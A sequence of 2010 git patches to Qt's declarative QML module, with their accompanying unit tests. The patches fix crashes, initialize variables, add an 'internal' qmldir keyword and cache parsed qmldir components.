From 55ffc0f27638485803f29d985a57deb5b3db4584 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 19 Mar 2010 17:34:30 +1000 Subject: Don't crash if an out of bounds model index is accessed. Task-number: QTBUG-9184 --- src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp b/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp index 6341764..b31bbd0 100644 --- a/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp +++ b/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp @@ -422,6 +422,8 @@ int QDeclarativeVisualDataModelDataMetaObject::createProperty(const char *name, return -1; QDeclarativeVisualDataModelPrivate *model = QDeclarativeVisualDataModelPrivate::get(data->m_model); + if (data->m_index < 0 || data->m_index >= model->modelCount()) + return -1; if ((!model->m_listModelInterface || !model->m_abstractItemModel) && model->m_listAccessor) { if (model->m_listAccessor->type() == QDeclarativeListAccessor::ListProperty) { -- cgit v0.12 From 62ca76e14166b8f4c16e7cd9c285d373e460ebf7 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 19 Mar 2010 17:39:11 +1000 Subject: Setting stacking order from top to bottom seems to work better. Task-number: QTBUG-9182 --- src/declarative/graphicsitems/qdeclarativerepeater.cpp | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativerepeater.cpp b/src/declarative/graphicsitems/qdeclarativerepeater.cpp index b9696c8..e8f9b24 100644 --- a/src/declarative/graphicsitems/qdeclarativerepeater.cpp +++ b/src/declarative/graphicsitems/qdeclarativerepeater.cpp @@ -358,14 +358,10 @@ void QDeclarativeRepeater::itemsMoved(int from, int to, int count) removed << d->deletables.takeAt(from); for (int i = 0; i < count; ++i) d->deletables.insert(to + i, removed.at(i)); - for (int i = 0; i < d->model->count(); ++i) { - if (i < from && i < to) - continue; - QDeclarativeItem *item = d->deletables.at(i); - if (i < d->deletables.count()-1) - item->stackBefore(d->deletables.at(i+1)); - else - item->stackBefore(this); + d->deletables.last()->stackBefore(this); + for (int i = d->model->count()-1; i > 0; --i) { + QDeclarativeItem *item = d->deletables.at(i-1); + item->stackBefore(d->deletables.at(i)); } } -- cgit v0.12 From b6e74016305ea70ed36a7eb1504d3120106dbb23 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 19 Mar 2010 19:50:29 +1000 Subject: Initialize variable. --- src/imports/particles/qdeclarativeparticles_p.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/imports/particles/qdeclarativeparticles_p.h b/src/imports/particles/qdeclarativeparticles_p.h index 993796d..9035e3e 100644 --- a/src/imports/particles/qdeclarativeparticles_p.h +++ b/src/imports/particles/qdeclarativeparticles_p.h @@ -111,7 +111,7 @@ class QDeclarativeParticleMotionWander : public QDeclarativeParticleMotion Q_OBJECT public: QDeclarativeParticleMotionWander() - : QDeclarativeParticleMotion(), particles(0), _xvariance(0), _yvariance(0) {} + : QDeclarativeParticleMotion(), particles(0), _xvariance(0), _yvariance(0), _pace(100) {} virtual void advance(QDeclarativeParticle &, int interval); virtual void created(QDeclarativeParticle &); -- cgit v0.12 From d039e2e8307bd272eedc5beae4ecf1a14e47def5 Mon Sep 17 00:00:00 2001 From: mae Date: Thu, 18 Mar 2010 15:54:02 +0100 Subject: Fix local type lookup This change removes the hacky final baseUrl+TypeName+".qml" lookup. In order to still support internal files in remote modules, a new qmldir keyword "internal" is introduced. --- doc/src/declarative/modules.qdoc | 7 +++++++ src/declarative/qml/qdeclarativedirparser.cpp | 10 ++++++++++ src/declarative/qml/qdeclarativedirparser_p.h | 6 ++++-- src/declarative/qml/qdeclarativeengine.cpp | 23 ++++++++++------------ .../data/failingComponent.errors.txt | 2 +- .../data/unregisteredObject.errors.txt | 2 +- .../declarative/qmllanguage/UndeclaredLocal.qml | 3 +++ .../declarative/qmllanguage/WrongTestLocal.qml | 1 + .../qtest/declarative/qmllanguage/qmldir | 1 + .../tst_qdeclarativelanguage.cpp | 3 +++ 10 files changed, 41 insertions(+), 17 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/UndeclaredLocal.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/WrongTestLocal.qml diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc index ab75f8d..53de32c 100644 --- a/doc/src/declarative/modules.qdoc +++ b/doc/src/declarative/modules.qdoc @@ -143,6 +143,13 @@ since the \e first name-version match is used. Installed files do not need to import the module of which they are a part, as they can refer to the other QML files in the module as relative (local) files. +If the module is imported from a remote location, those files must nevertheless be listed in +the \c qmldir file. Internal files can be marked with the \c internal keyword, to ensure +they are not visible outside the module: + +\code +internal +\endcode Installed and remote files \e must be referred to by version information described above, local files \e may have it. diff --git a/src/declarative/qml/qdeclarativedirparser.cpp b/src/declarative/qml/qdeclarativedirparser.cpp index b6d2115..0e82098 100644 --- a/src/declarative/qml/qdeclarativedirparser.cpp +++ b/src/declarative/qml/qdeclarativedirparser.cpp @@ -151,6 +151,16 @@ bool QDeclarativeDirParser::parse() _plugins.append(entry); + } else if (sections[0] == QLatin1String("internal")) { + if (sectionCount != 3) { + reportError(lineNumber, -1, + QString::fromUtf8("internal types require 2 arguments, but %1 were provided").arg(sectionCount + 1)); + continue; + } + Component entry(sections[1], sections[2], -1, -1); + entry.internal = true; + _components.append(entry); + } else if (sectionCount == 2) { // No version specified (should only be used for relative qmldir files) const Component entry(sections[0], sections[1], -1, -1); diff --git a/src/declarative/qml/qdeclarativedirparser_p.h b/src/declarative/qml/qdeclarativedirparser_p.h index 5df7117..295fa66 100644 --- a/src/declarative/qml/qdeclarativedirparser_p.h +++ b/src/declarative/qml/qdeclarativedirparser_p.h @@ -94,15 +94,17 @@ public: struct Component { Component() - : majorVersion(0), minorVersion(0) {} + : majorVersion(0), minorVersion(0), internal(false) {} Component(const QString &typeName, const QString &fileName, int majorVersion, int minorVersion) - : typeName(typeName), fileName(fileName), majorVersion(majorVersion), minorVersion(minorVersion) {} + : typeName(typeName), fileName(fileName), majorVersion(majorVersion), minorVersion(minorVersion), + internal(false) {} QString typeName; QString fileName; int majorVersion; int minorVersion; + bool internal; }; QList components() const; diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 800434a..174579c 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1363,7 +1363,8 @@ struct QDeclarativeEnginePrivate::ImportedNamespace { QList isLibrary; QList qmlDirContent; - bool find(const QByteArray& type, int *vmajor, int *vminor, QDeclarativeType** type_return, QUrl* url_return) + bool find(const QByteArray& type, int *vmajor, int *vminor, QDeclarativeType** type_return, QUrl* url_return, + QUrl *base = 0) { for (int i=0; i= c.minorVersion)) { + QUrl candidate = url.resolved(QUrl(c.fileName)); + if (c.internal && base) { + if (base->resolved(QUrl(c.fileName)) != candidate) + continue; // failed attempt to access an internal type + } if (url_return) - *url_return = url.resolved(QUrl(c.fileName)); + *url_return = candidate; return true; } } @@ -1617,7 +1623,7 @@ public: } QByteArray unqualifiedtype = slash < 0 ? type : type.mid(slash+1); // common-case opt (QString::mid works fine, but slower) if (s) { - if (s->find(unqualifiedtype,vmajor,vminor,type_return,url_return)) + if (s->find(unqualifiedtype,vmajor,vminor,type_return,url_return, &base)) return true; if (s->urls.count() == 1 && !s->isLibrary[0] && url_return && s != &unqualifiedset) { // qualified, and only 1 url @@ -1627,16 +1633,7 @@ public: } - - /* now comes really nasty code. It makes "private" types load in the remote case, but - it does this by breaking the import order. This must go. Instead private types must - be marked private in the qmldir. */ - if (url_return) { - *url_return = base.resolved(QUrl(QString::fromUtf8(type + ".qml"))); - return true; - } else { - return false; - } + return false; } QDeclarativeEnginePrivate::ImportedNamespace *findNamespace(const QString& type) diff --git a/tests/auto/declarative/qdeclarativelanguage/data/failingComponent.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/failingComponent.errors.txt index 0cf0ef3..364ca67 100644 --- a/tests/auto/declarative/qdeclarativelanguage/data/failingComponent.errors.txt +++ b/tests/auto/declarative/qdeclarativelanguage/data/failingComponent.errors.txt @@ -1 +1 @@ -3:5:Type FailingComponent unavailable +3:5:FailingComponent is not a type diff --git a/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.errors.txt index 347db05..10e5fb2 100644 --- a/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.errors.txt +++ b/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.errors.txt @@ -1 +1 @@ -2:1:Type UnregisteredObjectType unavailable +2:1:UnregisteredObjectType is not a type diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/UndeclaredLocal.qml b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/UndeclaredLocal.qml new file mode 100644 index 0000000..836c20a --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/UndeclaredLocal.qml @@ -0,0 +1,3 @@ +import Qt 4.6 + +Image { source: "pics/blue.png" } diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/WrongTestLocal.qml b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/WrongTestLocal.qml new file mode 100644 index 0000000..8dcb7be --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/WrongTestLocal.qml @@ -0,0 +1 @@ +UndeclaredInternal {} diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/qmldir b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/qmldir index 303c5c8..da10ba9 100644 --- a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/qmldir +++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/qmldir @@ -1,3 +1,4 @@ Test Test.qml TestSubDir TestSubDir.qml TestLocal TestLocal.qml +internal LocalInternal LocalInternal.qml diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 6b564d4..9188d72 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -1242,6 +1242,9 @@ void tst_qdeclarativelanguage::importsRemote_data() QTest::newRow("remote import") << "import \""+serverdir+"\"\nTest {}" << "QDeclarativeRectangle"; QTest::newRow("remote import with subdir") << "import \""+serverdir+"\"\nTestSubDir {}" << "QDeclarativeText"; QTest::newRow("remote import with local") << "import \""+serverdir+"\"\nTestLocal {}" << "QDeclarativeImage"; + QTest::newRow("wrong remote import with undeclared local") << "import \""+serverdir+"\"\nWrongTestLocal {}" << ""; + QTest::newRow("wrong remote import of internal local") << "import \""+serverdir+"\"\nLocalInternal {}" << ""; + QTest::newRow("wrong remote import of undeclared local") << "import \""+serverdir+"\"\nUndeclaredLocal {}" << ""; } #include "testhttpserver.h" -- cgit v0.12 From 3cc7cac6c205897c60d879c01f8733351c86cdf9 Mon Sep 17 00:00:00 2001 From: mae Date: Fri, 19 Mar 2010 16:18:11 +0100 Subject: Reduce amount of qmldir parsing This is done by storing the parsed components (QDeclarativeDirComponents). There's still potential for optimization (QT-617) --- .../qml/qdeclarativecompositetypemanager.cpp | 21 +++++++---- src/declarative/qml/qdeclarativedirparser_p.h | 4 +- src/declarative/qml/qdeclarativeengine.cpp | 44 ++++++++++------------ src/declarative/qml/qdeclarativeengine_p.h | 3 +- 4 files changed, 38 insertions(+), 34 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompositetypemanager.cpp b/src/declarative/qml/qdeclarativecompositetypemanager.cpp index 5014323..ebf1f40 100644 --- a/src/declarative/qml/qdeclarativecompositetypemanager.cpp +++ b/src/declarative/qml/qdeclarativecompositetypemanager.cpp @@ -513,12 +513,15 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData foreach (QDeclarativeScriptParser::Import imp, unit->data.imports()) { - QString qmldircontentnetwork; + QDeclarativeDirComponents qmldircomponentsnetwork; if (imp.type == QDeclarativeScriptParser::Import::File && imp.qualifier.isEmpty()) { QString importUrl = unit->imports.baseUrl().resolved(QUrl(imp.uri + QLatin1String("/qmldir"))).toString(); for (int ii = 0; ii < unit->resources.count(); ++ii) { if (unit->resources.at(ii)->url == importUrl) { - qmldircontentnetwork = QString::fromUtf8(unit->resources.at(ii)->data); + QDeclarativeDirParser parser; + parser.setSource(QString::fromUtf8(unit->resources.at(ii)->data)); + parser.parse(); + qmldircomponentsnetwork = parser.components(); break; } } @@ -539,7 +542,7 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData } if (!QDeclarativeEnginePrivate::get(engine)-> - addToImport(&unit->imports, qmldircontentnetwork, imp.uri, imp.qualifier, vmaj, vmin, imp.type)) + addToImport(&unit->imports, qmldircomponentsnetwork, imp.uri, imp.qualifier, vmaj, vmin, imp.type)) { QDeclarativeError error; error.setUrl(unit->imports.baseUrl()); @@ -558,14 +561,18 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData */ { - QString qmldircontentnetwork; + QDeclarativeDirComponents qmldircomponentsnetwork; if (QDeclarativeCompositeTypeResource *resource - = resources.value(unit->imports.baseUrl().resolved(QUrl(QLatin1String("./qmldir"))))) - qmldircontentnetwork = QString::fromUtf8(resource->data); + = resources.value(unit->imports.baseUrl().resolved(QUrl(QLatin1String("./qmldir"))))) { + QDeclarativeDirParser parser; + parser.setSource(QString::fromUtf8(resource->data)); + parser.parse(); + qmldircomponentsnetwork = parser.components(); + } QDeclarativeEnginePrivate::get(engine)-> addToImport(&unit->imports, - qmldircontentnetwork, + qmldircomponentsnetwork, QLatin1String("."), QString(), -1, -1, diff --git a/src/declarative/qml/qdeclarativedirparser_p.h b/src/declarative/qml/qdeclarativedirparser_p.h index 295fa66..e4f4ce6 100644 --- a/src/declarative/qml/qdeclarativedirparser_p.h +++ b/src/declarative/qml/qdeclarativedirparser_p.h @@ -59,7 +59,6 @@ QT_BEGIN_NAMESPACE class QDeclarativeError; - class QDeclarativeDirParser { Q_DISABLE_COPY(QDeclarativeDirParser) @@ -122,6 +121,9 @@ private: unsigned _isParsed: 1; }; +typedef QList QDeclarativeDirComponents; + + QT_END_NAMESPACE #endif // QDECLARATIVEDIRPARSER_P_H diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 174579c..f49b17d 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1361,7 +1361,7 @@ struct QDeclarativeEnginePrivate::ImportedNamespace { QList majversions; QList minversions; QList isLibrary; - QList qmlDirContent; + QList qmlDirComponents; bool find(const QByteArray& type, int *vmajor, int *vminor, QDeclarativeType** type_return, QUrl* url_return, QUrl *base = 0) @@ -1384,18 +1384,12 @@ struct QDeclarativeEnginePrivate::ImportedNamespace { } QUrl url = QUrl(urls.at(i) + QLatin1Char('/') + QString::fromUtf8(type) + QLatin1String(".qml")); - QString qmldircontent = qmlDirContent.at(i); + QDeclarativeDirComponents qmldircomponents = qmlDirComponents.at(i); bool typeWasDeclaredInQmldir = false; - if (!qmldircontent.isEmpty()) { + if (!qmldircomponents.isEmpty()) { const QString typeName = QString::fromUtf8(type); - - QDeclarativeDirParser qmldirParser; - qmldirParser.setUrl(url); - qmldirParser.setSource(qmldircontent); - qmldirParser.parse(); - - foreach (const QDeclarativeDirParser::Component &c, qmldirParser.components()) { // ### TODO: cache the components + foreach (const QDeclarativeDirParser::Component &c, qmldircomponents) { if (c.typeName == typeName) { typeWasDeclaredInQmldir = true; if (c.majorVersion < vmaj || (c.majorVersion == vmaj && vmin >= c.minorVersion)) { @@ -1440,22 +1434,22 @@ public: QSet qmlDirFilesForWhichPluginsHaveBeenLoaded; - QString importExtension(const QString &absoluteFilePath, const QString &uri, QDeclarativeEngine *engine) { + QDeclarativeDirComponents importExtension(const QString &absoluteFilePath, const QString &uri, QDeclarativeEngine *engine) { QFile file(absoluteFilePath); QString dir = QFileInfo(file).path(); - QString qmldircontent; + QString filecontent; if (file.open(QFile::ReadOnly)) { - qmldircontent = QString::fromUtf8(file.readAll()); + filecontent = QString::fromUtf8(file.readAll()); if (qmlImportTrace()) qDebug() << "QDeclarativeEngine::add: loaded" << absoluteFilePath; } + QDeclarativeDirParser qmldirParser; + qmldirParser.setSource(filecontent); + qmldirParser.parse(); if (! qmlDirFilesForWhichPluginsHaveBeenLoaded.contains(absoluteFilePath)) { qmlDirFilesForWhichPluginsHaveBeenLoaded.insert(absoluteFilePath); - QDeclarativeDirParser qmldirParser; - qmldirParser.setSource(qmldircontent); - qmldirParser.parse(); foreach (const QDeclarativeDirParser::Plugin &plugin, qmldirParser.plugins()) { QDir pluginDir(dir + QDir::separator() + plugin.path); @@ -1471,7 +1465,7 @@ public: } } } - return qmldircontent; + return qmldirParser.components(); } QString resolvedUri(const QString &dir_arg, QDeclarativeEngine *engine) @@ -1518,9 +1512,9 @@ public: - bool add(const QUrl& base, const QString &qmldircontentnetwork, const QString& uri_arg, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType, QDeclarativeEngine *engine) + bool add(const QUrl& base, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri_arg, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType, QDeclarativeEngine *engine) { - QString qmldircontent = qmldircontentnetwork; + QDeclarativeDirComponents qmldircomponents = qmldircomponentsnetwork; QString uri = uri_arg; QDeclarativeEnginePrivate::ImportedNamespace *s; if (prefix.isEmpty()) { @@ -1572,19 +1566,19 @@ public: url = QUrl::fromLocalFile(fi.absolutePath()).toString(); uri = resolvedUri(dir, engine); - qmldircontent = importExtension(absoluteFilePath, uri, engine); + qmldircomponents = importExtension(absoluteFilePath, uri, engine); break; } } } else { - if (importType == QDeclarativeScriptParser::Import::File && qmldircontent.isEmpty()) { + if (importType == QDeclarativeScriptParser::Import::File && qmldircomponents.isEmpty()) { QUrl importUrl = base.resolved(QUrl(uri + QLatin1String("/qmldir"))); QString localFileOrQrc = toLocalFileOrQrc(importUrl); if (!localFileOrQrc.isEmpty()) { uri = resolvedUri(toLocalFileOrQrc(base.resolved(QUrl(uri))), engine); - qmldircontent = importExtension(localFileOrQrc, + qmldircomponents = importExtension(localFileOrQrc, uri, engine); @@ -1603,7 +1597,7 @@ public: s->majversions.prepend(vmaj); s->minversions.prepend(vmin); s->isLibrary.prepend(importType == QDeclarativeScriptParser::Import::Library); - s->qmlDirContent.prepend(qmldircontent); + s->qmlDirComponents.prepend(qmldircomponents); return true; } @@ -1967,12 +1961,12 @@ QString QDeclarativeEnginePrivate::resolvePlugin(const QDir &dir, const QString The base URL must already have been set with Import::setBaseUrl(). */ -bool QDeclarativeEnginePrivate::addToImport(Imports* imports, const QString &qmldircontentnetwork, const QString& uri, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType) const +bool QDeclarativeEnginePrivate::addToImport(Imports* imports, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType) const { QDeclarativeEngine *engine = QDeclarativeEnginePrivate::get(const_cast(this)); if (qmlImportTrace()) qDebug().nospace() << "QDeclarativeEngine::addToImport " << imports << " " << uri << " " << vmaj << '.' << vmin << " " << (importType==QDeclarativeScriptParser::Import::Library? "Library" : "File") << " as " << prefix; - bool ok = imports->d->add(imports->d->base,qmldircontentnetwork, uri,prefix,vmaj,vmin,importType, engine); + bool ok = imports->d->add(imports->d->base,qmldircomponentsnetwork, uri,prefix,vmaj,vmin,importType, engine); return ok; } diff --git a/src/declarative/qml/qdeclarativeengine_p.h b/src/declarative/qml/qdeclarativeengine_p.h index f1b7b0e..4ab619e 100644 --- a/src/declarative/qml/qdeclarativeengine_p.h +++ b/src/declarative/qml/qdeclarativeengine_p.h @@ -69,6 +69,7 @@ #include "qdeclarativecontextscriptclass_p.h" #include "qdeclarativevaluetypescriptclass_p.h" #include "qdeclarativemetatype_p.h" +#include "qdeclarativedirparser_p.h" #include #include @@ -280,7 +281,7 @@ public: QString resolvePlugin(const QDir &dir, const QString &baseName); - bool addToImport(Imports*, const QString& uri, const QString &qmldircontentnetwork, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType) const; + bool addToImport(Imports*, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType) const; bool resolveType(const Imports&, const QByteArray& type, QDeclarativeType** type_return, QUrl* url_return, int *version_major, int *version_minor, -- cgit v0.12 From 44b1fc2051df2bfd784ce847ee430edad68e3dbd Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 19 Mar 2010 09:50:52 +1000 Subject: Fix Flipable crash. Task-number: QTBUG-9161 --- src/declarative/graphicsitems/qdeclarativeflipable.cpp | 7 ++++--- tests/auto/declarative/qdeclarativeflipable/data/crash.qml | 9 +++++++++ .../qdeclarativeflipable/tst_qdeclarativeflipable.cpp | 10 ++++++++++ 3 files changed, 23 insertions(+), 3 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeflipable/data/crash.qml diff --git a/src/declarative/graphicsitems/qdeclarativeflipable.cpp b/src/declarative/graphicsitems/qdeclarativeflipable.cpp index 1ebbaee..8b46039 100644 --- a/src/declarative/graphicsitems/qdeclarativeflipable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflipable.cpp @@ -42,6 +42,7 @@ #include "qdeclarativeflipable_p.h" #include "qdeclarativeitem_p.h" +#include "qdeclarativeguard_p.h" #include @@ -58,8 +59,8 @@ public: void updateSceneTransformFromParent(); QDeclarativeFlipable::Side current; - QDeclarativeItem *front; - QDeclarativeItem *back; + QDeclarativeGuard front; + QDeclarativeGuard back; }; /*! @@ -192,7 +193,7 @@ void QDeclarativeFlipablePrivate::updateSceneTransformFromParent() if (newSide != current) { current = newSide; - if (current == QDeclarativeFlipable::Back) { + if (current == QDeclarativeFlipable::Back && back) { QTransform mat; mat.translate(back->width()/2,back->height()/2); if (back->width() && p1.x() >= p2.x()) diff --git a/tests/auto/declarative/qdeclarativeflipable/data/crash.qml b/tests/auto/declarative/qdeclarativeflipable/data/crash.qml new file mode 100644 index 0000000..ad40bf0 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeflipable/data/crash.qml @@ -0,0 +1,9 @@ +import Qt 4.6 + +Flipable { + transform: Rotation { + axis.y: 1 + axis.z: 0 + angle: 180 + } +} diff --git a/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp b/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp index ed37c43..04c6710 100644 --- a/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp +++ b/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp @@ -41,6 +41,7 @@ #include #include #include +#include #include #include #include @@ -57,6 +58,7 @@ private slots: void create(); void checkFrontAndBack(); void setFrontAndBack(); + void crash(); private: QDeclarativeEngine engine; @@ -108,6 +110,14 @@ void tst_qdeclarativeflipable::setFrontAndBack() delete obj; } +void tst_qdeclarativeflipable::crash() +{ + QDeclarativeView *canvas = new QDeclarativeView; + canvas->setSource(QUrl(SRCDIR "/data/crash.qml")); + canvas->show(); + delete canvas; +} + QTEST_MAIN(tst_qdeclarativeflipable) #include "tst_qdeclarativeflipable.moc" -- cgit v0.12 From 0c1f1b8c8f5641609e1a07622127f4e0780c2247 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 19 Mar 2010 11:45:47 +1000 Subject: Produce an error when trying to create objects in a PropertyChanges. State-specific object lifecycle management will be addressed in a future release. Task-number: QTBUG-8318 --- src/declarative/util/qdeclarativepropertychanges.cpp | 2 ++ .../declarative/qdeclarativestates/data/illegalObj.qml | 12 ++++++++++++ .../qdeclarativestates/tst_qdeclarativestates.cpp | 14 ++++++++++++++ 3 files changed, 28 insertions(+) create mode 100644 tests/auto/declarative/qdeclarativestates/data/illegalObj.qml diff --git a/src/declarative/util/qdeclarativepropertychanges.cpp b/src/declarative/util/qdeclarativepropertychanges.cpp index 8865e04..6ceec5d 100644 --- a/src/declarative/util/qdeclarativepropertychanges.cpp +++ b/src/declarative/util/qdeclarativepropertychanges.cpp @@ -227,6 +227,8 @@ QDeclarativePropertyChangesParser::compileList(QList const QVariant &value = values.at(ii); if (value.userType() == qMetaTypeId()) { + error(qvariant_cast(value), + QDeclarativePropertyChanges::tr("PropertyChanges does not support creating state-specific objects.")); continue; } else if(value.userType() == qMetaTypeId()) { diff --git a/tests/auto/declarative/qdeclarativestates/data/illegalObj.qml b/tests/auto/declarative/qdeclarativestates/data/illegalObj.qml new file mode 100644 index 0000000..480764e --- /dev/null +++ b/tests/auto/declarative/qdeclarativestates/data/illegalObj.qml @@ -0,0 +1,12 @@ +import Qt 4.6 + +Rectangle { + id: myItem + + states : State { + PropertyChanges { + target: myItem + children: Item { id: newItem } + } + } +} diff --git a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp index fe7ec15..9e1d727 100644 --- a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp +++ b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp @@ -106,6 +106,7 @@ private slots: void illegalTempState(); void nonExistantProperty(); void reset(); + void illegalObjectCreation(); }; void tst_qdeclarativestates::initTestCase() @@ -964,6 +965,19 @@ void tst_qdeclarativestates::reset() QVERIFY(text->width() > text->height()); } +void tst_qdeclarativestates::illegalObjectCreation() +{ + QDeclarativeEngine engine; + + QDeclarativeComponent component(&engine, SRCDIR "/data/illegalObj.qml"); + QList errors = component.errors(); + QVERIFY(errors.count() == 1); + const QDeclarativeError &error = errors.at(0); + QCOMPARE(error.line(), 9); + QCOMPARE(error.column(), 23); + QCOMPARE(error.description().toUtf8().constData(), "PropertyChanges does not support creating state-specific objects."); +} + QTEST_MAIN(tst_qdeclarativestates) #include "tst_qdeclarativestates.moc" -- cgit v0.12 From 535172df73b539bf6468a96773ac28457e307792 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 18 Mar 2010 13:52:14 +1000 Subject: Initialize variable. --- src/declarative/util/qdeclarativestateoperations.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index 6f5bb66..0946e88 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -944,7 +944,7 @@ void QDeclarativeAnchorChanges::saveOriginals() d->origBaseline = d->target->anchors()->baseline(); d->applyOrigLeft = d->applyOrigRight = d->applyOrigHCenter = d->applyOrigTop - = d->applyOrigBottom = d->applyOrigHCenter = d->applyOrigBaseline = false; + = d->applyOrigBottom = d->applyOrigVCenter = d->applyOrigBaseline = false; saveCurrentValues(); } -- cgit v0.12 From b5d5be9db8ea0932b728fb9b90f61212c7cb6777 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 18 Mar 2010 15:27:05 +1000 Subject: Fix crash when calling createObject on a component with errors. --- src/declarative/qml/qdeclarativecomponent.cpp | 2 ++ .../qdeclarativeecmascript/data/dynamicCreation.qml | 6 ++++++ .../qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp | 14 ++++++++++++++ 3 files changed, 22 insertions(+) diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp index a280d7e..8922751 100644 --- a/src/declarative/qml/qdeclarativecomponent.cpp +++ b/src/declarative/qml/qdeclarativecomponent.cpp @@ -511,6 +511,8 @@ QScriptValue QDeclarativeComponent::createObject() return QScriptValue(); } QObject* ret = create(ctxt); + if (!ret) + return QScriptValue(); QDeclarativeEnginePrivate *priv = QDeclarativeEnginePrivate::get(d->engine); QDeclarativeDeclarativeData::get(ret, true)->setImplicitDestructible(); return priv->objectClass->newQObject(ret, QMetaType::QObjectStar); diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.qml b/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.qml index ed5e571..2fef03a 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.qml @@ -18,4 +18,10 @@ MyQmlObject{ { obj.objectProperty = createQmlObject('TypeForDynamicCreation{}', obj); } + + function dontCrash() + { + var component = createComponent('file-doesnt-exist.qml'); + obj.objectProperty = component.createObject(); + } } diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp index caefdbf..87d73a0 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp @@ -130,6 +130,7 @@ private slots: void qlistqobjectMethods(); void 